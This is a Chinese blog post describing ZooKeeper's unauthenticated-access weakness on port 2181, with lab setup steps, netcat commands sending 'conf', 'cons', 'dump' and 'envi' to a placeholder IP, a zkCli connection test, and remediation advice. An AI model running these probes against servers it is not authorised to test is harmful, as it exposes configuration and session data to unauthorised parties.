方糖的博客

安全小技巧

新的一年快到了….

剪刀石头布,哈,我又赢了

2023

05-16

漏洞描述

Zookeeper 的默认开放端口是2181。Zookeeper 安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用 Zookeeper,通过服务器收集敏感信息或者在 Zookeeper 集群内进行破坏

比如:kill命令。攻击者能够执行所有只允许由管理员运行的命令。

默认运行在 2181 端口

环境搭建

1
2
3
4
5
6
7

wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14-bin.tar.gz

tar -xvf filename.tar.gz 解包
cd zookeeper/src
mv zoo_sample.cfg zoo.cfg 进入目录修改配置文件名称未zoo.cfg
../bin/zkServer.sh start 启动服务

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
echo conf | nc xx.xx.xx.xx 2181   
conf命令输出相关服务配置的详细信息,端口、数据路径、日志路径、session 超时时间,最大连接数等。

echo cons | nc xx.xx.xx.xx 2181 | more
列出所有连接到当前服务器的客户端/会话的详细信息

echo dump | nc xx.xx.xx.xx 2181 | more
输出未处理的会话和临时节点,leader 节点有效。

echo envi | nc xx.xx.xx.xx 2181
输出服务器详细信息

./zkCli.sh -server x.x.x.x:2181
直接连接服务测试,执行命令

漏洞修复

  • 禁止把 Zookeeper 直接暴露在公网
  • 添加访问控制,根据情况选择对应方式(认证用户,用户名密码)
  • 绑定指定 IP 访问

啊,再见了,再见了,哈

我们会再见的对么

再见你要幸福

燕子,燕子